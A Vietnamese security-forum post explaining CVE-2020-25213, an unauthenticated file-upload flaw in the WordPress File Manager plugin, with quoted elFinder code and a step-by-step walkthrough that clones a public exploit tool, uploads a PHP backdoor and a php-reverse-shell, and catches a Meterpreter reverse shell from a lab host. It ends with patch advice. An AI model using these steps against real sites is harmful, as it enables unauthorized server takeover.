Khai thác lỗ hổng CVE-2020–25213 và cài đặt backdoor trên WordPress

DDos

VIP Members
22/10/2013
524
2.191 bài viết
Khai thác lỗ hổng CVE-2020–25213 và cài đặt backdoor trên WordPress
Vào đầu tháng 9, các nhà nghiên cứu bảo mật tại Wordfence đã công bố chi tiết về một lỗ hổng ở mức độ nghiêm trọng cao trong plugin File Manager. Lỗ hổng này cho phép bất kỳ người dùng không cần xác thực có thể tải các tệp lên trang web mà không gặp bất kỳ một trở ngại nào.

audit_Pentest.png

Bằng việc sử dụng lỗ hổng này, kẻ tấn công có thể tải các tệp độc hai như webshell, backdoor lên trang web. Được đánh số CVE-2020–25213 ảnh hưởng tới phiên bản File Manager 6.0 - 6.8, với số điểm CVSS Score: 10.00 đủ cho thấy mức độ nguy hiểm của lỗ hổng. Điều đáng nói, File Manager Plugin rất phổ biến và đã được cài đặt hơn 700.000 lần. Theo quan sát của các nhà nghiên cứu bảo mật, tin tặc đã khai thác lỗ hổng này để chiếm quyền điều khiển trang web.

File Manager là một plugin được thiết kế để giúp quản trị viên WordPress quản lý tệp trên trang web của họ. Plugin chứa một thư viện bổ sung, elFinder, là trình quản lý tệp mã nguồn mở được thiết kế để tạo giao diện quản lý tệp đơn giản và cung cấp chức năng cốt lõi đằng sau trình quản lý tệp. File Manager đã sử dụng thư viện này theo cách không an toàn, do đó, tạo ra lỗ hổng bảo mật.

Cốt lõi của vấn đề bắt đầu từ việc File Manager plugin đổi tên tiện ích mở rộng trên tệp tin connector.minimal.php.dist của thư viện elFinder thành .php để nó có thể được thực thi trực tiếp, ngay cả khi tệp trình kết nối không được chính File Manager plugin sử dụng. Các thư viện như vậy thường không bổ sung quyền kiểm soát truy cập và không phân quyền truy cập tới tệp, nghĩa là bất kỳ ai cũng có thể truy cập tệp. Tệp này có thể được sử dụng để bắt đầu một lệnh elFinder và được nối với tệp elFinderConnector.class.php.

PHP:
// run elFinder
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();

Bất kỳ tham số nào được gửi trong một yêu cầu tới connector.minimal.php sẽ được xử lý bởi hàm run() trong tệp elFinderConnector.class.php, bao gồm cả lệnh được cung cấp trong tham số cmd.

PHP:
public function run()
{
     $isPost = $this->reqMethod === 'POST';
     $src = $isPost ? array_merge($_GET, $_POST) : $_GET;
     $maxInputVars = (!$src || isset($src['targets'])) ? ini_get('max_input_vars') : null;
     if ((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')) {
         // for max_input_vars and supports IE XDomainRequest()
         $parts = explode('&', $rawPostData);
         if (!$src || $maxInputVars < count($parts)) {
             $src = array();
             foreach ($parts as $part) {
                 list($key, $value) = array_pad(explode('=', $part), 2, '');
                 $key = rawurldecode($key);
                 if (preg_match('/^(.+?)\[([^\[\]]*)\]$/', $key, $m)) {
                     $key = $m[1];
                     $idx = $m[2];
                     if (!isset($src[$key])) {
                         $src[$key] = array();
                     }
                     if ($idx) {
                         $src[$key][$idx] = rawurldecode($value);
                     } else {
                         $src[$key][] = rawurldecode($value);
                     }
                 } else {
                     $src[$key] = rawurldecode($value);
                 }
             }
             $_POST = $this->input_filter($src);
             $_REQUEST = $this->input_filter(array_merge_recursive($src, $_REQUEST));
         }
     }

     if (isset($src['targets']) && $this->elFinder->maxTargets && count($src['targets']) > $this->elFinder->maxTargets) {
         $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_MAX_TARGTES)));
     }

     $cmd = isset($src['cmd']) ? $src['cmd'] : '';
     $args = array();

Danh sách các lệnh có sẵn trong elFinder như sau.

PHP:
/**
  * Commands and required arguments list
  *
  * @var array
  **/
protected $commands = array(
     'abort' => array('id' => true),
     'archive' => array('targets' => true, 'type' => true, 'mimes' => false, 'name' => false),
     'callback' => array('node' => true, 'json' => false, 'bind' => false, 'done' => false),
     'chmod' => array('targets' => true, 'mode' => true),
     'dim' => array('target' => true, 'substitute' => false),
     'duplicate' => array('targets' => true, 'suffix' => false),
     'editor' => array('name' => true, 'method' => true, 'args' => false),
     'extract' => array('target' => true, 'mimes' => false, 'makedir' => false),
     'file' => array('target' => true, 'download' => false, 'cpath' => false, 'onetime' => false),
     'get' => array('target' => true, 'conv' => false),
     'info' => array('targets' => true, 'compare' => false),
     'ls' => array('target' => true, 'mimes' => false, 'intersect' => false),
     'mkdir' => array('target' => true, 'name' => false, 'dirs' => false),
     'mkfile' => array('target' => true, 'name' => true, 'mimes' => false),
     'netmount' => array('protocol' => true, 'host' => true, 'path' => false, 'port' => false, 'user' => false, 'pass' => false, 'alias' => false, 'options' => false),
     'open' => array('target' => false, 'tree' => false, 'init' => false, 'mimes' => false, 'compare' => false),
     'parents' => array('target' => true, 'until' => false),
     'paste' => array('dst' => true, 'targets' => true, 'cut' => false, 'mimes' => false, 'renames' => false, 'hashes' => false, 'suffix' => false),
     'put' => array('target' => true, 'content' => '', 'mimes' => false, 'encoding' => false),
     'rename' => array('target' => true, 'name' => true, 'mimes' => false, 'targets' => false, 'q' => false),
     'resize' => array('target' => true, 'width' => false, 'height' => false, 'mode' => false, 'x' => false, 'y' => false, 'degree' => false, 'quality' => false, 'bg' => false),
     'rm' => array('targets' => true),
     'search' => array('q' => true, 'mimes' => false, 'target' => false, 'type' => false),
     'size' => array('targets' => true),
     'subdirs' => array('targets' => true),
     'tmb' => array('targets' => true),
     'tree' => array('target' => true),
     'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),
     'url' => array('target' => true, 'options' => false),
     'zipdl' => array('targets' => true, 'download' => false)
);

Do elFinder được tích hợp tính năng bảo vệ chống lại việc duyệt qua thư mục, vì vậy kẻ tấn công sẽ chỉ có khả năng thực hiện các lệnh liệt kê ở trên trong thư mục plugins /wp-file-manager/lib/files/.

Cách khai thác lỗ hổng CVE-2020–25213

1. Tải công cụ WP-file-manager expoit

Mã:
git clone https://github.com/mansoorr123/wp-file-manager-CVE-2020-25213.git

1.png

2. Để kiểm tra một trang web có tồn tại lỗ hổng này hay không

2.png

Kết quả trả về cho thấy trang web tồn tại lỗ hổng.

3. Tải tệp php-backdoor lên trang web

3.png

Tệp tải lên sẽ ở đường dẫn http://192.168.79.132:8080/wp-content/plugins/wp-file-manager/lib/files/simple-backdoor.php

4. Backdoor đã được cài đặt trong website này, bạn có thể thực thi các lệnh tùy ý

4.png


5.png

5. Tạo một kết nối php-revershell tới trang web

Bạn cần tải fille /usr/share/webshells/php/php-reverse-shell.php với lệnh ./wp-file-manager-exploit.sh --wp_url http://192.168.79.132:8080 -f /usr/share/webshells/php/php-reverse-shell.php

Sau đó, khởi chạy Metasploit với tham số LHOST và LPORT và set PAYLOAD php/meterpreter/reverse_tcp. Truy cập vào đường dẫn http://192.168.79.132:8080/wp-content/plugins/wp-file-manager/lib/files/php-reverse-shell.php bạn sẽ nhận được một kết nối từ trang web tới máy tính của mình.

6.png

Với một session được tạo, bạn có thể thực thi các lệnh sau khai thác (post-exploitation)

7.png

Do mức độ khai thác rất dễ dàng, các quản trị viên website sử dụng plugin File Manager được khuyên cập nhật lên phiên bản 6.9 ngay lập tức.

Tham khảo: Wordfence.com
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: ndkttl
Thẻ
backdoor wordpress cve-2020–25213 wordpress
Bên trên